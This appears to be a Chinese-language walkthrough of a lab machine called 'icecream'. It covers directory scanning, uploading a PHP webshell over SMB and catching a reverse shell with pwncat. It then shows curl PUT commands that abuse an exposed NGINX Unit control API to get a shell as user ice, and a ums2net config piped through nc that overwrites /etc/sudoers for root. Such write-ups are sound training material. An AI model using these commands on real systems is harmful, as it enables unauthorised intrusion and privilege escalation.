信息收集
服务探测
1 | IP=192.168.0.191 |
Web 服务
先扫一波 80 端口的目录
1 | gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,txt,html,zip |
没扫到啥东西。
看看 9000 端口是个啥
1 | gobuster dir -u http://$IP:9000 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,txt,html,zip |
看了一眼上面的 nmap 结果,返回的 json 和这里的目录名字有点像,看到了
1 | "connections": { |
这一段,猜测这个服务是一个 web 服务的状态监控。看了下响应头,是 Unit/1.33.0
,去搜了下,是一个 Nginx 的 application runtime
. 听起来这意思是类似于 apache 的 mod_php
之类的东西。之前 nginx 并不提供 php 的解释器,需要借助第三方模块 php-fpm,这个 unit 似乎就干了这个事儿。
1 | "modules": { |
SMB 服务
1 | smbclient -L //$IP |
利用 icecream 登录
1 | smbclient //$IP/icecream -U icecream |
webshell 传上去了。本地监听
1 | pwncat -l -p 1234 |
然后去 80 访问了下,1.php 果然,webshell 拿到。
1 | (remote) www-data@icecream:/var/www$ id |
然后就是提权了。
提权 ice
翻了下 web 目录并没有啥东西。www-data 也没有 sudo -l
,感觉学来的竟然,直接上 pspy64 看。
首先没有啥定时任务,想到之前的 9000 端口还没用,而且有这个进程:
1 | 2024/10/09 11:26:31 CMD: UID=0 PID=486 | unit: main v1.33.0 [/usr/sbin/unitd --control 0.0.0.0:9000 --user ice] |
如果是 ice 用户的,那大概率就是从这里入手了。但是对这个 Unit 并不了解,去看了看官方文档 Unit。
发现这个 controlapi 可以控制 unit,甚至可以自己创建一个 php 的 Application。不过官方的都是本地通过 curl 和 –unix-socket 来控制的,我们这个直接可以用 9000 端口来搞。
这么一想,其实如果熟悉这个 unit 的话,直接就可以通过这个 9000 端口来提权了。不用去第一步拿 www-data。
经过研究,总结了几个 curl 的命令:
1 | curl -X PUT -d '{"app":{"type":"php","root":"/tmp","script":"2.php"}}' http://192.168.0.191:9000/config/applications |
分别添加了一个 php 的应用,一个路由,一个监听器。然后就可以通过 8888 端口访问了。
1 | # 本地监听 2.php 中的 端口 |
访问 http://192.168.0.191:8888/2.php
,拿到了 ice 的 shell。
1 | (remote) ice@icecream:/$ id |
提权 root
man 了一下 ums2net,发现是一个 USB Mass Storage to Network
的工具,可以将 USB 设备的内容共享到 TCP 上,然后就可以用 nc 去写入 USB 了。
翻了下项目的 github。
How to use ums2net
- Insert the USB Mass Storage. Check /dev/disk/by-id/ for the unique path
for that device.- Create a config file base on the above path. Please see the config file
format section.- Run “ums2net -c
“. ums2net will become a daemon in the
background. For debugging please add “-d” option to avoid detach.- Use nc to write your image to the USB Mass Storage device. For example,
“nc -N localhost 29543 < warp7.img”Config file
Each line in the config file maps a TCP port to a device. All the options are
separated by space. The first argument is a number represents the TCP port.
And the rest of the arguments are in dd-style. For example,A line in the config file:
1 "29543 of=/dev/disk/by-id/usb-Linux_UMS_disk_0_WaRP7-0x2c98b953000003b5-0:0 bs=4096"It means TCP port 29543 is mapped to /dev/disk/by-id/> usb-Linux_UMS_disk_0_WaRP7-0x2c98b953000003b5-0:0 and the block size is 4096.
Currently we only support “of” and “bs”.
听起来就像是用 tcp 版本的 dd。既然是 root 权限,并且能写,我第一个反应就是写入 authorized_keys,然后 ssh 登录。
1 | echo "8889 of=/root/.ssh/authorized_keys bs=4096" > config |
然后本地 nc 连接
1 | nc -N $IP 8889 < ~/.ssh/id_rsa.pub |
结果报错:
1 | ums2net[14352]: Device /root/.ssh/authorized_keys not appeared. Close immediately. |
看来是文件不存在,最后经过 ll104567 大佬提点,用写入 sudoers 文件的方式来提权。
1 | echo "8889 of=/etc/sudoers" > config |
然后本地 nc 连接
1 | echo 'ice ALL=(ALL) NOPASSWD: ALL'|nc $IP 8889 |
再回去执行 sudo -l,果然有了。
1 | sudo su - |
虽然有个因为写了 sudoers 文件换行导致的错误,但是还是成功拿到 root。
完结撒花。🎉